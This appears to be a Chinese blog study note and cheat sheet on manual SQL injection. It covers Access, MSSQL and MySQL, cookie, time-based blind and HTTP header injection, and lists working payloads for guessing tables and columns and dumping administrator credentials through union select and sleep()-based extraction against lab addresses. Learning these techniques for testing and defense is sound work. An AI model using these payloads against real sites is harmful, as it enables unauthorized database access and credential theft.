整理关于sql手工的注入(Access、MSSQL、MySQL、cookie注入、时间注入、头注入)

什么是SQL注入?
开发人员在开发Web系统时对输入的数据没有进行有效的验证及过滤,就存在引发SQL注入漏洞的可能并导致查看、插入、删除数据库的数据,甚至可以执行主机的系统命令。

SQL注入容易出现在哪些地方?
①URL动态传值,如:asp?id=1
②留言板
③搜索框
④登录框

这些在使用时,要与数据库进行交互的地方。

下面介绍一下sql注入中的手工注入
常见的测试方法:
1)单引号测试:’
2)and 1=1、and 1=2 条件测试

先解释下and 1=1 和and 1=2;
and 是SQL中的连接选项,当and两边的选项同时成立时结果才为真的条件,因为1=1是一定成立的,所在对这条语句的功能没有任何影响。
而and 1=2,两边条件并不相等,所以条件不成立,这个时候,数据库就会发生错误;

单引号测试方法:在数据库中,我们执行一条命令时,例如:select * from admin where id =1,这是一条普通的查询语句,在我们执行查询时,在id=1,这个1前后两边都加入单引号id='1’时,不会报错,当我们多加入一个’单引号时,则会提示引号没有闭合的错误。在数据库中,单引号必须成对儿出现,否则就会出现无法闭合的错误。

无论我们用and 1=1、and 1=2的方法,或者用单引号的方法进行测试时,如果提示数据库错误信息,则说明数据库把我们输入的内容带到数据库里查询了。也就是说,我们提交的内容数据库接受了。

Access数据库手工注入
and 1=1 and 1=2
通过返回值,来判断是否存在注入。

and exists(select * from [admin])
查看数据库中是否存在admin这个表。

and exists (select top 1 [username] from [admin])
查看在admin这个表中是否存在username这个列

and exists (select top 1 [password] from [admin])
查看在admin这个表中是否存在password这个列

and (select top 1 len(username) from admin)>0
猜解username这个列中的用户名(字段)的长度,>0可以随意变换,如果>6返回正常,>7返回错误,则表示,该用户名的长度为7。

and (select top 1 asc(mid(username,1,1)) from admin)>0
用mid(username,N,1)截 取第N位字符,再asc(mid(username,N,1))来判断ASCLL码为多少
当得到所有的ASCLL码后,用编码转换工具进行转换,得到密码。

MSSQL数据库手工注入
and exists (select * from sysobjects) //判断是否是MSSQL

and 1=(select @@VERSION) //MSSQL版本

and 1=(select db_name()) //当前数据库名

and 1=(select @@servername) //本地服务名

and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判断是否是系统管理员

and 1=(Select IS_MEMBER(‘db_owner’)) //判断是否是库权限

and 1= (Select HAS_DBACCESS(‘master’)) //判断是否有库读取权限

MySQL数据库手工注入

and 1=1 and 1=2
判断注入点,后面加#,判断数据库,返回正常说明是mysql;

order by 1-- 判断当前数据库的表数数量

and 1=2 union select 1,2,3-- 联合查询,判断可回显数据的位置;

user() 查看用户,version()查看版本,database()查看库名;

and 1=2 union select 1,2,3,table_name,5 from information_schema.tables where table_schema=(库名,16进制)-- 查看管理表,可用limit 1,1继续查看

and 1=2 union select 1,2,3,4,5,6,column_name,8 from information_schema.columns where table_name=(表名,16进制) limit 0,1-- 查看列名

and 1=2 union select 1,2,3,4,5,6,得到的列名,8 from 表名-- 爆管理员账户密码。

MySQL数据库注入点的高级用法
MySQL数据库注入点高级用法:
1)load_file函数

①concat(@@datadir,0x3a,@@basedir)

获取数据库的数据路径 、数据库的安装路径

PHP常见敏感文件位置:
/config.php
/config,inc.php
/web.config
/inc/config.php
/include/config.php

cookie手工注入
cookie注入的原理是:
就要修改cookie的值,
cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数以cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式提交
相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。

主要用在程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤的时候,就需要用到cookie注入了。

步骤:
直接访问目标网站(例如:http://10.1.1.1:83/shownews.asp?id=25)
url栏输入:javascript:alert(document.cookie=“id=”+escape(“25”));
刷新界面
然后去掉传值信息(?id=25),是否能正常访问页面内容(访问的是id=25)
如果能正常访问,则代表存在cookie注入,如果不能,则无法注入。
之后的测试与前面的一样:25 的后面加空格跟测试语句。
javascript:alert(document.cookie=“id=”+escape(“25 and 1=1”));
等于
http://10.6.18.36:83/shownews.asp?id=25 and 1=1

MySQL时间注入
and if (length(database())=x,0,sleep(5))#0 //判断当前库名的长度

结果=x时网页没睡眠,可以判断当前库名有x个字符

and if (ascii(substr(database(),x,1))=xxx,0,sleep(5)) //猜库名
假如结果=115时网页没睡眠,可以判断库名第一个字符对应的ascii码为115 字符为s

and if((select ascii(substr((select table_name from information_schema.tables where table_schema="数据库"limit 0,1),1,1)))=101,0,sleep(5)) //猜表名

and if((select ascii(substr((select column_name from information_schema.columns where table_name="表名"limit 0,1),1,1)))=101,0,sleep(5)) //猜字段

and if((select ascii(substr((select 字段 from 表名 limit 0,1),1,1)))>97,0,sleep(5))
//爆内容
函数:
sleep()函数
用法(语法):sleep(duration),其中duration的单位是秒。

ascii(string)
功能: 数据库字符集返回string的第一个字节的十进制表示。

substr(string,start [,length])
第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

count(column_name) 函数返回指定列的值的数目(NULL 不计入)。

limit [offset,] rows
offset是偏移量,表示我们现在需要的数据是跳过多少行数据之后的,可以忽略;
rows表示我们现在要拿多少行数据。

头注入X-Forwarded-for
X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址
攻击者可以通过该HTTP头信息,伪造受信任用户,对系统发起访问;
X-Forwarded-For通过这个字段我们可以控制绕过ip的限制,但是当我们去绕过ip限制的时候ip会带入数据库去查询,这点我们可以尝试一下sql注入。

头注入 host
在以往http1.0中并没有host字段,但是在http1.1中增加了host字段,并且http协议在本质也是要建立tcp连接,而建立连接的同时必须知道对方的ip和端口,然后才能发送数据。既然已经建立了连接,那host字段到底起着什么样的的作用?

Host头域指定请求资源的Intenet主机和端口号,必须表示请求url的原始服务器或网关的是比如www.test.com和mail.test.com两个域名IP相同,由同一台服务器支持,服务器可以根据host域,分别提供不同的服务,在客户端看来是两个完全不同的站点。

Host头实验总结:在http 1.1中不能缺失host字段,如果缺失, 服务器返回400 bad request,http1.1中不能缺失host字段,但host字段可以是空值。

你可能感兴趣的:(笔记,sql,数据库,安全漏洞)